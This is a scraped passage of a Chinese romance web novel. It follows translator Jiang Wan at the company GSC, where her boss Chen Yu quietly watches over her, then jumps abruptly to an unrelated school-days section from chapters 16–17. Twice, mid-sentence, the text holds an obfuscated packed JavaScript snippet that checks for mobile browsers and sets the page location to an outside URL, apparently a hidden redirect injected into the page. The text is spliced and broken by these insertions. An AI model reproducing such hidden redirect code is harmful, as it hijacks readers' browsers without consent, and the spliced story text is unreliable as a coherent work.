有人出来打圆场:“哎呀,都是同事,何必这样呢。你刚才听错了,我们真的没议论这些,只是在讨论其他的事情而已,你真的……” “停——”林瑜不听她说,她把她们拦下来,不是为了听这些虚伪的解释的,“这件事情,我全程都清楚,我现在可以很明确地告诉你们,整件事情全是方简简一人策划的,她走到这一步也完全是咎由自取,和其他人一点关系都没有。” “当然……” 几人想要附和她,却再次被林瑜打断:“你们要是还想知道什么,可以直接来问我,免得背后猜测议论太浪费时间,有这点时间,还不如多做点工作。” 她一锤定音,又如此维护姜挽的架势,众人讪讪,硬着头皮回了两句,便擦着她的胳膊边,从门口离开了。 几人离开后,林瑜才端着杯子进了茶水间,转头又朝姜挽招呼了一声,让她也跟着进来。 姜挽一直都在她身后,刚才她和她们说的话,她自然也就全部听见了。虽说她并不想和那些人纠缠,可林瑜在这种情况下为她挺身而出,说不感动,肯定是假的。 姜挽又想到了那天,林瑜为了她和方简简争论的场景。她好像一直都是这样,遇到事情,非常仗义。 “刚才,谢谢你。”感慨很多,可真正到嘴边,还是只有最简单的这一句。 “啊,没事。”林瑜大喇喇回她一句。 她似乎并不擅长应对这种话题,表情不自然,脸颊也有些红。明明是帮助人的那一个,可到了接受别人谢意的时候,却又不好意思。 姜挽也注意到了,她猜想这应该和林瑜的性格有关,毕竟,在GSC这段时间,她确实还没看过林瑜和其他人有过什么沟通。 心念一动,姜挽换了种方式:“今天中午你有时间吗?要不我们出去吃饭吧,我知道附近有一家新开的餐馆,川菜,评分很不错。” 林瑜少见地蹙了蹙眉,有些犹豫。 见此,姜挽还以为她这要求太过分,触到她的禁区了,忙改口道:“不过你要是不方便的话就算了,以后再去也行。” 咖啡机在打最后一道奶泡,一层层纯白的半固体在机器的运作声中渐渐堆积,细腻,绵密,还有独属于它的浓香,顷刻间在四周弥漫开来。 在这香味里,在这温馨间,林瑜转过头来,像是下了很大决心似的,再次开口:“那你一会儿十二点的时候叫我。” 姜挽当然同意了,忙回她:“好!” 到餐馆的时候正值饭点,人很多,本来是要等位的。好在她们来的碰巧,前面有一桌两人的餐位正好空出来,服务员便直接带着她们入了座。 来的是川菜馆,口味自然是以辣为主,好在她们两人都能吃辣,在点菜方面没什么分歧,就直接选了这里的招牌。 菜端上来,两人边吃边聊,但很明显,整个过程,姜挽的话要比林瑜多很多。 其实也不是林瑜不想,只是她实在不知道该怎么做而已。 帮姜挽出头的时候她没顾忌,仗义执言她也没问题,可就是这事反过来,当对方要关心她,想帮助她时,她就有些不自在了。 毕竟这么些年,她一个人独立惯了,早练就了一颗强大的心脏,找人慰籍,被人安慰的感觉,她早不记得了。 吃完饭,往回走,她犹豫半天,还是和姜挽开口:“刚才我不是针对你,我只是实在不知道该怎样和其他人建立一段正常亲密的朋友关系。” 姜挽当然知道了,正是因为知道,所以才会在刚才主动调节气氛,又在好几次察觉到她不适应时迅速留了余地。 一个人的性格形成,往往和她以往的经历有密不可分的关系,可姜挽不会追问这些,她只是换了一副口吻,转而安慰林瑜道:“朋友之间的相处本来就没有固定的模式,或远或近,话多话少,只需要牵涉其中的人去定义就好,自己觉得舒服就够了。” 真诚坦荡,松弛自然,林瑜觉得她还真是和其他人不一样:“你还真挺特别的。” 她突然来这么一句,倒是让姜挽有些没反应过来:“是吗?” 林瑜看她一眼:“其实,在你刚开始来的时候,我对你还是有些偏见的,”她很坦诚,开始回忆,“那会儿,你和方简简走得近,大部分时间都和她在一起,很容易给别人造成误解。” “所以,你潜意识里就认为我和她是一样的人?” 林瑜点头,而后又开口道:“如果你觉得我之前那些行为对你造成了伤害的话,我现 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16455645|185196||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在可以和你道歉。” 时间长了,不难感觉到林瑜其实是一个非常坦荡且真诚的人,姜挽“噗嗤”一下笑了:“道什么歉啊,”她回想起自己刚来时的样子,“要是我在知道方简简是什么人后,看到一个人和她走得那么近,我的反应八成会比你还要冷漠。” 她轻呼一口气:“而且,要说伤害,其实也是没有的。你那时候虽然冷漠,但也有自己的原则。现在想想,我倒是希望你那个时候就能告诉我方简简的为人,这样说不定我还能少走不少弯路。” 林瑜也笑了:“那不会,当时和你不熟,你知道的,我这个人一向不喜欢多管闲事。” 两人正说着,姜挽的手机突然响,她拿出来看一眼,是沈繁星打来的电话。 此时正好也已经到了公司门口,姜挽便让林瑜先进去,自己找了个安静的地方接电话:“喂——” 话音还没落,电话里沈繁星便打断了她:“你现在人在哪儿呢?没事吧?” 沈繁星很急,急得有些不合情理,见她这样,姜挽也正色道:“我在GSC呢,没事啊,怎么了?” 听她这么说,电话里的声音才缓了几分:“U盘的事情我听说了,到底是怎么回事啊?你和我详细说说,要是你被欺负了,我现在立马就过去!不然还真当我们佳译没人,好欺负呢?” 原来是这件事,姜挽心里有谱了。 U盘的事因为担心沈繁星着急,姜挽其实并没和她说,可没想到她还是知道了。而且以她对沈繁星的了解,再清楚不过她为什么生气了:“你放心吧,现在事情都已经解决了,我没吃亏。” “真的?”沈繁星其实对事情细节知道的并不多,只是因为涉及到姜挽,才会如此在意,“你没骗我吧?” “当然没有了,”姜挽在电话这头和她打哈哈,“我是佳译的员工,你和佳译才是我的后盾,我骗你有什么意义?只不过是工作里的一点小误会,现在已经解决了,你放心吧。对了,我马上到上班时间了,先不和你说了。” 她要挂电话,沈繁星却在电话那头拦住她:“等一下,”她还是不放心,“一开始去GSC的时候那个陈屿就对你有意见,当时你不想去,还是我逼你的。现在想想,你当初要是没去,说不定也是一个正确的决定。” 姜挽没想到她还介意这些:“这都多久了,你还记得呢?” “当然了,我记得清楚着呢。” “所以呢,你想说什么就赶快说,我这真忙着呢。” 沈繁星一锤定音:“我就想说这只是一份工作,你要是实在干得不开心就不做了,回来佳译,我照样给你发工资。” “怎么,GSC这颗大树你不傍啦?以后的合作机会你也都不要啦?”姜挽逗她。 “要,我当然要了,只不过和工作比起来,眼睁睁看着自己姐妹去上刀山下火海,我还是做不到。” 沈繁星难得煽情,姜挽却被她的话逗笑了:“得了,哪有这么严重,我好着呢。再说了只是一份工作而已,我知道分寸的。” “那行吧,”沈繁星知道她忙,也就没再多说,“找时间你回来一趟,我们一起吃顿饭,我安慰安慰你。” “那我可得吃大餐。” “行,随你选。” 挂了电话,姜挽打算进去,转身的间隙,眼角余光瞥到一抹熟悉的身影。她有些不敢相信,转头去确认,刹那间顿住,没想到还真是陈屿…… 此刻就和她隔着一米多的距离,在她右侧站着,想来她刚才电话里说的话,他应该是都听到了…… 60. 第 60 章 “你……怎么在这里?”姜挽支支吾吾的,边说边退,很是心虚。 陈屿注意到她的动作,神情很不悦:“这是我的公司,我在这里有什么奇怪?”他还是一贯的风格,嘴上对她丝毫不留情面,“倒是你,与其在这里不知道和什么人打电话,还不如多用点脑子,好好想想该怎么傍好GSC这棵大树,拿到更多的项目吧。” “……” 他果然还是听到了。 姜挽很尴尬,尝试着想要解释:“没有,你听错了。” “我听得清清楚楚,”陈屿睨她一眼,“还有你刚才说的只是一份工作是什么意思?你瞧不起现在这个工作,不想干了?” “不是,当然不是了!”姜挽无奈,甚至无语,那只是为了安慰沈繁星随口说的,可她这会儿也实在是不好解释,毕竟沈繁星刚才也确实在电话里提到了让她离开的事。 既然解释不了,她干脆也就不打算解释了,胡乱糊弄了两句,就打算走:“那个,我还有工作要处理,先回去了。” 说罢,头也不回地离开了,路过的风里,都被她带起了一阵仓惶的尴尬。 陈屿倒是没拦她,只不过看着她的背影,陷入了沉思。 莫非,她真对这份工作不满意?想要离开GSC? 如果真是这样的话,那现在的一切,他所做的一切,还有什么意义呢? 陈屿垂着眼睛,眼睫轻轻颤了颤,心口的位置也跟着一阵心慌。 其实他刚才的出现并非偶然,自从发生了U盘事件后,他就很担心姜挽。一来是担心她的情绪,二来也是担心她觉得GSC的工作环境太复杂,不想再继续了。 所以才会在处理方简简时那般果决,这些天也尽量关注她,想着如果有异常,他能第一时间察觉到,倒也不至于手足无措。没想到,还真让他给碰上了。 回到办公室,陈屿立马给周海打了电话,让他现在就过来汇报尼斯项目的事情。 周海其实不大理解,明明昨天刚汇报过,不过一天之隔,是不会有什么大进展的,可老板的意思,他不得不听。 拿着电脑,连上投影,从项目进展到各个环节的完成情况,他都一一再次和陈屿做了汇报,但很可惜,好像并没有达到老板的要求。 从始至终,陈屿的脸色一直都是绷着的,指尖叩击桌面的轻微声响也没有断过。 即便如此,周海也只得硬着头皮继续,终于在介绍到翻译部分时,陈屿手上敲击的动作停了下来。 周海以为他是关心项目翻译,忙不迭把所有的细节都和他汇报了一边,大到进展,小到关键部分的用词,实在是一点也没敢漏下。 陈屿不想听这个,但他也不好表现得太过明显,只得耐着性子等他讲完。 终于,在周海好不容易结束,却又要开启另外一个话题时,陈屿果断打断了他:“说说姜挽吧。” “Annie?”周海有些愣,像是完全没料到,“她怎么了?” “没事,你随便说说就行。” 周海担心陈屿还是对她的工作有芥蒂,忙不迭解释:“她很好的,工作还是和之前一样认真,翻译出来的东西质量也很高,基本都是一遍过。” “我指的是她的状态,”陈屿打断他,“她最近,没什么不对劲的地方吧?” “您具体指的是……” 陈屿没想到他竟然这么不上道,干脆挑明:“她有没有离职的打算?” “离职?”周海茫然地看着他,显然没预料到他会这么问,“应该没有吧,目前没有听说。” “哦,”陈屿心里稍微松了一口气,可他怕周海看出来,于是故作严肃地解释道,“毕竟刚发生了那件事,多少还是会对她有些影响的。你最近多关注她点,要是有什么异常最好也早点知道,免得后续措手不及。” 周海觉得他说的有道理,不仅有道理,还是一个关心下属的好领导:“还是您考虑的周到,您放心吧,这事我会注意的。” “嗯,”这么长时间,总算是听到了一句让他舒心的话,陈屿满意地点了点头,“有什么异常,第一时间和我汇报。” 周海没多想:“明白,您就放心吧。” 姜挽最近发现,周海对她貌似有些过于关注了。 会议室,茶水间,甚至还有偶尔擦肩而过的电梯里,他都会多看她两眼,时间够的话,一定会再和她说两句话。 话的内容虽然每次都不一样,但无一例外,语气都是极温和的,像是小心翼翼对待某个特别的员工,不着痕迹,但又别有深意。 终于,在又一次因为开会耽搁大家临时聚在一起吃午饭,周海再次询问她这几天的状态时,姜挽忍不住开口了:“周经理,您是不是有什么话要和我说?” 周海一惊,意识到自己可能有些过于明显了,忙摇头:“没有没有,我就是随便问问。” “可您并不像随便问问的样子,”姜挽拿筷子戳着饭盒里的西兰花,盒饭是周海帮忙订的,他们项目开会耽误时间时经常会这么做,“您这段时间经常会这么问我,问我的状态,我的情绪,还有我的日常生活。” “咳咳……”周海尴尬地咳了两声,听她这么有理有据地分析,他真以为她是已经猜到了,刚想开口:“其实我……” 没想到却被姜挽中途打断:“其实您不说我也能猜到的,是我工作出了什么问题吗?还是GSC对我这个岗位有新的安排?没关系,您都可以和我直接说的。” “新的安排?”周海重复着她的话,思索片刻才明白过来,“不是,当然不是了,你多虑了。”而后,他保证,“你放心,无论是我还是GSC,对你本人还有你的工作能力都是非常认可的,所以绝对不会出现岗位变化这种情况。” “那是?”姜挽不明白了,但她知道肯定还有其它的原因。 周海叹一口气,觉得不说不行了,主要是面对一个如此真诚的孩子,他实在没办法撒谎:“其实我是担心你有什么变化,毕竟刚发生那种事,我怕你会不习惯。” 他还是选择和她坦白,原因是真的,可最开始提出这点,最关注这件事情的人他却隐瞒了。毕竟陈屿和他谈这件事情的时候,他能看出来,陈屿还是比较谨慎的。 姜挽霎时抬起头,绕了一圈,没想到竟然是这个原因,她忙和他解释:“我没什么不适应的,您放心吧。职场里这种事情很常见,比这更复杂的我之前都遇到过,我是不会把个人情绪带到工作里的。” “那就好。”周海皱着的眉头舒展开来,虽然事情被戳破有点尴尬,可他好歹也算是得到了一个肯定的回答,能够给陈屿答复了。 “您要是没其他的事,我就继续吃饭了?” “没了,你吃,快吃,”周海笑着端起自己的水杯,离开前还不忘叮嘱一句,“多吃点,你太瘦了。” “她真这么说?” 会议室里,隔着一张实木办公桌,陈屿盯着他。只不过周海能看出来,那眼神里并没有一贯的冷冽和锋锐,而是一派坦荡的释然和轻松。 见他这样,周海就知道他是高兴的:“真的,Annie当着我的面亲口说的,说她没有不适应,是不会把个人情绪到工作里面的。” 对姜挽的人品,周海是真认可:“而且我了解她的为人,她既然这么说,心里就一定也是这么想的,所以这件事我觉得我们应该不用担心了。” “嗯,干得不错,”陈屿少见地夸了他两句,随即话锋一转,“那她今天午饭吃了什么?吃的怎么样?” “中午吃了什么?”周海喃喃重复,他没准备,完全没想到领导连这个也会问,“吃了盒饭……”他犹豫,“这个也在观察范围内吗?” 陈屿顿住,其实不在。 他刚才也是下意识的,这会儿被反问才意识到这个问题确实有些过于牵强了,但仍板着脸解释:“说出口的话有时候不一定是真的,只有身体的真实反应才不会骗人。” “吃的还行吧,”周海接他的话,开始回忆,“午饭我们是一起在会议室吃的,具体我记不清了,但最后收拾的时候我去看了眼,Annie看起来挺开心的,还和其他同事约着买奶茶,应该还好。” “嗯。”陈屿点头,算是应了。 周海趁机和他提:“陈总,现在既然事情已经弄清楚了,您看观察Annie这件事,是不是也可以停 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16459904|185196||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 止了?您是不知道,她很聪明的,我这几天的反常她其实都注意到了,今天也是她主动联系我的,别提多尴尬了。” “是吗?”陈屿稍想了下那个画面,大概能猜到周海当时的无措,大发善心地勾了下唇,“行吧。” 反正大方向他现在基本已经知道了,剩下的,他可以自己来:“对了,以后你们每周的例会,我会参加。” “参加例会?”周海怀疑自己听错了,自从上次因为他们聊八卦,陈屿在例会上发了一通脾气后,从此以后就再没参加过他们的例会。现在突然提出这个,是不是代表着……再次恢复对他们的关注了。 “怎么?有问题?” 陈屿的话打断了他的思维:“没,当然没问题了,我们整个项目组都恭候您的大驾,期待您给出指导意见。” “冠冕堂皇的话少说,我要看到结果。”陈屿起身走向落地穿,示意他可以出去了。 周海刚从陈屿的办公室出来,就立马和项目组说了这个消息。 时隔这么久,陈总再次参加他们的项目会,大家都很期待,当然也紧张。连续好几天加班加点,就为了把资料做到完美,力求精益求精。 会议的当天,每个人都攒着一股劲,不仅将自己负责的板块做了充分完美的介绍,时不时还会延伸,提出了许多可行性的意见。 陈屿虽没什么表态,会议上的发言也不多,但以大家对他的了解,不批评就是认可,不反对就是同意。所以,整场会议下来,氛围也还算可以,大家不自觉都松了股劲。 唯独姜挽。 也不知是有意还是无意,好几次她都注意到陈屿的眼神落在她脸上,还是那种无波无澜的审视。 可每当她打算对视回去的时候,陈屿又都能很好地适时移开,几次下来,姜挽都有点怀疑是她的错觉了。 会议结束,周海安排下一步的工作计划,因为图纸的数据问题,他们接下来要进行实地勘察。 地点选在北城西郊,地势和环境都和尼斯类似,在没有办法第一时间去到项目地点的情况下,现在这种是最适合的方式。 因为数据关键,技术,质量,风控还有姜挽这个翻译都会去。算起来,整个项目组的人差不多要去一半。 离开前,周海和陈屿打招呼,主要是询问他的意见:“您要是没有其他安排的话,那我们这就出发了?” “等一下,”陈屿看他一眼,幽幽开口道,“我和你们一起去。” “您……您和我们一起去?”这么多人在,周海也没收住。他最近是越来越看不懂他这个领导了。 “怎么?有问题?”陈屿还是那句话。 “没问题,当然没问题了,只是这交通……”反应过来后,周海迅速开始安排。原本他们几个人两辆车刚好合适,现在加上陈屿,就需要再单独安排一辆。 “您稍等一下,我和行政部联系马上再派一辆车过来。”说着,周海就要打电话。 “不用了,”陈屿收拾东西打算离开,“我自己开车过去。” “那怎么行,”周海接话,“要不这样,我和您一起,我帮您开。” “我自己开,”陈屿很坚持,可脚步却在路过姜挽时顿住了,看起来像是临时起意,“只不过我有几个翻译的问题,想再和姜翻译咨询咨询。” 姜挽正在整理资料,突然被叫到名字,有些懵。她还没来得及说什么呢,周海先替她答了:“当然没问题了,那一会儿Annie你就和陈总一辆车,路上刚好可以讨论讨论翻译的问题。” “周经理,我……”姜挽有点犹豫,自从上次听到那些传言后,她其实不大想再和陈屿单独相处了,怕被有心之人看在眼里,后续给他带来不好的影响。 “你什么?”陈屿和周海同时看向她。 一个冷冽,一个疑惑。 “我……”话梗在嘴边,姜挽却说不出口了,这会儿这么多人在,于情于理她都没有理由拒绝,“没什么,我是说我需要先回办公室收拾一下。” “这个没问题,”周海应下,继而把目光转向其他同事,“大家都先回去收拾一下吧,十五分钟后,我们公司门口集合。” 16-20 第16章 不许 一路, 陈屿走得很快,姜挽需小跑才能跟上他。 两人回到教室,在座位上坐下,他也没说话, 最后, 还是姜挽主动开口打破了沉默:“刚才, 谢谢你。” “嗯, ”陈屿简单应一声, 神色很淡, 转头来看她,那表情说生气太重,别扭又太轻, 总之就是不怎么高兴, “刚才, 他和你说什么了?” 姜挽以为他是想知道裴思有没有和她道歉, 毕竟听裴思讲,他来道歉, 也是因为陈屿要求的:“他和我道歉了。” 不成想, 话出口,陈屿反而更不高兴了。 “道歉需要离那么近?” 虽然还不是很明白他这不高兴因何而来, 姜挽还是忙解释:“他那是在问我问题。” “什么问题?” “我和你的关系。” “那你怎么回答的?” “我说是同桌。” “哦。” 话音落, 陈屿没再追问,表情倒是没什么大的变化, 只是那眼睛里的东西不大一样了。像是沉闷, 又仿佛苦涩,总之就是一股子有口难言的郁闷。 姜挽小心询问:“是不是我说错了什么?” “没有。”可郁闷归郁闷,陈屿也知道, 这件事情急不得。 他收了收心绪,声音缓下来,问姜挽:“刚才有没有被吓到?” “要说实话吗?” 她那个样子,看起来怯生生,眼睛里一股怜爱劲儿,真像一只小鹿。陈屿费了好大的劲儿,才忍住想要揉她头发的冲动:“不然呢?我问你,难道是要听你说假话的?” 姜挽吸了下鼻子,讪讪的:“有一点。” 听她这么说,陈屿一下子又有点上火:“上次不是告诉过你不要瞎凑热闹吗?这次怎么还去了?刚才那篮球的力道不小,幸好是砸在我身上,要是我没有赶过去,砸在了你身上,或者是你脸上,你又该怎么办?” 这些姜挽没想过,刚才事发突然,根本来不及做思考,要是真像陈屿说的那般,她也没什么好的方法,只能硬生生挨下来。 “如果真是那样,就只能自认倒霉了。” “你……”陈屿被她气到,也是心急吧,一时间说了不合时宜的话,“下次这种凑热闹的情况,你不许再去了。” 没想到听到这话的姜挽却没觉得有什么不合适,反而是乖乖应承了下来,还追问他后背被砸得痛不痛。 她这么听话,陈屿倒是没想到,心底刚才那股郁闷和躁动,一下子便被抚平了。他有点不大敢看她:“我没事,皮糙肉厚的,没什么事。” “那也不能大意,你晚上回家最好还是涂点药。” “嗯,知道了。” “对了,还有件事,”陈屿补充道,“你以后离那么裴思远点,不要和他过多接触。” 姜挽对他说的这些话并不抵触,只是有点好奇他为什么会这么说:“我可不可以问一下原因?” 原因…… “我看他烦。” “……哦。” 没想到是因为这个,姜挽一时也不知该如何接话,两人正沉默着,尤伽突然从外面回来了。 一看她的表情,就知道是有话和姜挽说,陈屿倒是很自觉,自动起身离开了座位。 等他走了,尤伽低着头,才别别扭扭地开口:“呦呦,你能不能不要生裴思的气,他不是故意的。” 姜挽觉得奇怪,因为尤伽这情态,更因为她这么帮裴思说话。 她本来没生气,可就想逗逗尤伽:“为什么?你不希望我生他的气吗?” “当然不希望了,”尤伽抬起头,满脸的忧心忡忡,“你们两个,一个是我最好的朋友,一个是以后要成为我男朋友的人,你们两个要是有隔阂了,那难做的不还是我嘛。” “男朋友?”姜挽简直震惊,不明白事情怎么就发展得这么快,她基本每天都和尤伽在一起,也没见着他们有什么接触啊。 “嘘— —”你小声点,尤伽有些不好意思,“其实那会儿你问我喜不喜欢他的时候,我骗了你,我是喜欢他的,只是不好意思承认罢了。虽然他现在还不是我的男朋友,但早晚都会是的。” 这关系有点乱,姜挽一时有些懵:“那孟云程怎么办?”她磕的CP可一直都是她和孟云程啊。 “和他有什么关系?虽说我们是认识很多年了,也是朋友,但我谈男朋友,应该也不需要他批准吧。” “当然了,你有什么想法,想做什么事,自然是不需要我批准的。” 姜挽还没来得及开口,身后却突然传来一阵冷漠的声音,她和尤伽因为说的是悄悄话,贴得很近,没注意到身边的动态,这会儿突然听到声音,都有些被吓到。 尤伽先反应过来,用力捶了孟云程一下:“你怎么神出鬼没的,还偷听别人说话呀?” “我没有偷听,是你们声音太大了。” “那你也不应该突然出声呀,吓死我们了。” “是吗?”孟云程神色严肃,一点也没有平日里那副吊儿郎当的样子,“吓到你了吗?我看你还挺高兴,挺兴奋的。” 今天的孟云程太过奇怪,姜挽抬眸去看他,他抿着唇,脸色阴沉,眼底除了生气外,更多的反而是伤痛。 她大概能猜到是因为什么原因,刚想说两句缓和的话,没想到对面的尤伽突然拍了桌子。 莫名被怼,还是被孟云程,尤伽当然咽不下这口气了,当即发飙:“孟云程,你发什么癫?” 这次孟云程一点也没让她:“我发癫,那也比某人犯花痴来得强吧?关键犯的对象还是个人品不怎么样的人,球都拿不稳,还差点砸到别人。” “裴思他不是故意的!” 听她提到这个名字,孟云程更生气了:“你怎么知道?你这么了解他吗?你是他肚子里的蛔虫还是什么?怕不是你在这边自作多情,为人家期期艾艾,人家连你叫什么名字都不知道吧?” “你……”尤伽被他气到,一时有些结巴,不是因为她吵架的功力不行,而是因为她今天面对的是孟云程,以往那个对她从来都是唯命是从的孟云程! 她开始撒泼:“丢了球也比你强!好过你球都拿不到,进球还要让别人传给你!” “你!”孟云程明显也气得很,“你简直无可救药!” “你才无可救药!你无徳无能,眼高手低!” 最后,孟云程到底还是不忍心对她说出太难听的话,一气之下,离开了座位。 整个过程,姜挽基本都是处于静默的状态,想劝架不知如何开口,想拉住尤伽,又有些力不从心。最后,只能等这场争吵结束,默默给尤伽递上水杯。 “呦呦,你听见他刚才怎么说我,怎么说裴思的吗?真是太可气了!”尤伽边咕噜噜灌水,边吐槽孟云程。很明显她是气很了,脸颊两侧红彤彤的。 其实孟云程为什么会这么生气,姜挽大抵是明白的:“会不会,他也有自己的苦衷?” “苦衷?”尤伽愣了一下,“什么苦衷也不能这样啊,随意就乱说别人?再说了,就他那性格,能有什么苦衷。我可太了解他了,他一直就是这样的人!” 眼见着她还在气头上,一时半会儿估计也劝不好,姜挽没再多说:“你先别生气了,多喝点水。” 尤伽一点不含糊,立马拿起水杯:“我才不生气呢,我就是要气他,气死他。” 因为中午的争吵,尤伽和孟云程一下午都互相不搭理。说话靠姜挽传,东西靠姜挽递,几节课下来,姜挽没少被他们折腾。 她没什么怨言,可陈屿却看不下去了,终于在她再一次帮尤伽给孟云程递试卷时,他一把拿了过来,“啪”的一声拍在孟云程背上:“自己的事情,自己解决。” 孟云程默默接过试卷没说什么,而且看起来,也像是已经消气了。他踌躇着该怎么破冰,正犹豫着打算和尤伽说话,谁知尤伽却一个白眼飞了过来,还当机立断划了一条三八线。 “从今天开始,你不要越过这条线。” “你!”孟云程吃瘪,又不能拿尤伽怎么样,只得看向姜挽,刚想求助,被陈屿一句话堵了回去:“自己解决。” 姜挽朝他抱歉地笑了下,也低下了头。 晚上回到家,姜挽还在想着这件事,她给陈屿发微信:【孟云程是不是喜欢尤伽?】 自从他们加了微信后,晚上经常会简短地聊两句,有时候是关于作业,有时候是学校的琐事,但时间一般都很短,都会控制在几分钟之内。 收到微信的时候,陈屿刚洗完澡从浴室出来,额前的碎发还带着湿意,他抬手随意一拢:【没想到,你对别人的事看得倒还挺清楚。】 他这么说,姜挽就当她是猜对了:【那我要不要把这件事情告诉尤伽?】貌似,从今天的情况来看,尤伽好像并不知道。 【不用,他们的事情让他们自己去解决。】 这条发出去,陈屿担心隔着手机语气有些太硬了,又补充:【要是那么好说的话,孟云程早自己说了,他们之间比较复杂,让他们自己决定吧。】 姜挽觉得他说的也有道理,毕竟是别人的事情:【也是。】 每次她这样回答,陈屿都觉得她很乖,忍不住逗她:【你有时间,可以多关心关心自己,或许能发现点不一样的东西。】 姜挽不太懂:【什么意思?】 是他开的口,可被追问,陈屿又有些不好意思了:【没什么,早点睡吧。】 【嗯,你也早点休息。】结束前,姜挽突然又想起来另外一件事,【你记得涂药。】 对着手机,陈屿笑了:【好。】 第17章 聚餐 尤伽和孟云程的这场矛盾, 几乎持续了一周。这几天里,孟云程的状态一直都是恹恹的,对什么事情都提不起兴趣。至于为什么会这样,他比任何人都清楚原因。 最后, 还是他先熬不住, 主动低头和尤伽道了歉, 可谁知尤伽压根不买他的帐。不得已, 他把陈屿和姜挽都搬了出来, 尤伽这才同意再给他一次机会, 但有一个条件,就是他必须请他们吃饭。 和好几天的坐立难安相比,这个简直就是恩赐了, 孟云程当即便提出要选一家高档的饭店。 尤伽和姜挽一商量, 觉得没必要, 最后还是选了离她们学校不远的那家火锅店。店虽不大, 但味道很好,平日里很多学生都会去那里吃。 放学前, 姜挽在微信里和沈曼报备, 沈曼倒是没拦她,只是问她一起同行的是男生还是女生。 【男生女生都有。】这几个字, 姜挽本来都已经打完了, 但转念一想,又删掉了, 换成:【都是女生。】 沈曼果然没再问:【好, 吃完早点回来。】 【好的,知道了。】 放下手机,姜挽轻呼了一口气。和沈曼撒谎, 这是她这么多年来的第一次。 她知道,如果她提了有男生,那么沈曼是一定不会让她去的。可她又非常想去,几乎是行动先于意识,循着本能,瞬间替她做了抉择。 放了学她们来到火锅店,店里此时已经很多人了。说话声,碰杯声,还有高汤煮沸后的“咕噜咕噜”冒泡声,白烟袅袅间,姜挽她们跟着服务员上了二楼。 因为孟云程额外加了钱,老板帮他们安排了最好的包厢,最好的位置。包厢里两张沙发,中间是火锅台,姜挽和尤伽坐一张,陈屿和孟云程坐另外一张。 刚坐下,孟云程便豪气地开口:“今天想吃什么随便点,反正我请客,你们都不用和我客气。” 尤伽看着手中的菜单,笔尖飞快地勾选:“你放心吧,不会有人和你客气的。” 她点完,又把菜单递给姜挽,姜挽一看都傻眼了,无论是荤的还是素的,尤伽每种都选了十几样。姜挽担心吃不完,他们毕竟只有四个人,而且据说这里的菜量很大,所以就没再加:“应该够了,先这些吧。” “呦呦,你要不再看看?”尤伽坚持,“反正有人请客,不点白不点。” 姜挽摇头:“还是不用了,一会儿要是不够了再加吧。” 她不加,尤伽便又把菜单递给陈屿和孟云程:“你们看看,还要再加吗?” 一般这种情况,陈屿和孟云程也都不会再加的。因为他们都知道尤伽的点菜习惯,基本是只多不会少。 可这次,陈屿却将菜单接了过去:“我看看。” 他嘴上虽然说着“看看”,但眼神却并没有逐个浏览,反而是直接将菜单翻面,十分有目的地只看某一行:“再加个豆腐吧。” 话音落,三个人同时看向他。 孟云程第一个不理解:“不是,你什么时候喜欢吃这玩意了?淡淡的,又没味道,以前一起吃饭的时候也没见你吃过啊。” 陈屿合上菜单,淡淡开口:“最近刚喜欢的,不可以吗?” 尤伽明白孟云程的意思,可为了刺挠他,还是开口:“不是吧孟云程,一份豆腐而已,你不至于这么小气吧?” 面对她,孟云程有苦难言,有脾气也不敢发,连抱怨都是很小声的:“你知道我不是这个意思,我只是好奇而已。” 尤伽扫他一眼,没再搭理,突然想起来什么,视线转向姜挽:“呦呦,我记得你也挺喜欢吃豆腐的,你和陈屿还真是有缘。” 听她这么说,姜挽尴尬地笑了下,其实在刚才陈屿开口说加豆腐的时候,她也觉得有些吃惊。难道真这么巧吗? 陈屿看向她,适时插入一句:“是吗,那当真是挺巧的。” 姜挽笑笑:“是挺巧的。” 点完菜,趁着上菜的间隙,他们去调制调料。尤伽和孟云程已经先去了,这会儿桌上只剩陈屿和姜挽两个人。 陈屿很自然地开口:“你喜欢吃什么口味的?有没有什么忌口?” 姜挽愣了一下,才反应过来他这是要帮她准备调料,忙开口:“不用了,我自己弄就行,你先去吧。” 陈屿没强求,但也没去。身体往后仰,整个人靠在沙发上,看着姜挽不说话。 姜挽被他看得不自在:“怎么了?” 陈屿也不出声,只是上下打量着她,眼神里的戏谑明显:“莫非,你有什么特殊的癖好,不方便让人知道?” 一个火锅调料而已,她能有什么特殊的癖好,姜挽小声反驳:“我没有。” “那你到底喜欢吃什么口味的?” “你一定要帮我调吗?” “一定。” 姜挽败下阵来:“麻油和小米辣,其他什么都不要。” 陈屿满意地勾了下唇角,瞬间从沙发上起身:“等着。” 陈屿虽然去得晚,可他比尤伽和孟云程回来得还快,左右手里分别端着一个调料碗,姜挽接过来的时候才发现,两碗调料,竟然都是麻油和小米辣。只不过里面小米辣的份量不一样。 “你也喜欢这个味道吗?” “不喜欢。”陈屿放下碗,在她对面坐下。 “那你怎么……” 后面的话没说完,被陈屿打断了,他神色似乎有些不大自然,敷衍似的开口:“以前的吃腻了,想换个口味。” 恰巧,孟云程和尤伽回来了,姜挽也就没再问。相比之下,他们的调料就要显得复杂多了,甚至尤伽还调了两份,一份清淡,一份麻辣。 刚才他们去弄调料的时候,姜挽已经放了不少东西进去,这会儿刚好可以直接开吃。开始前,孟云程端起酒杯,他十分郑重地,再次和尤伽道了歉。 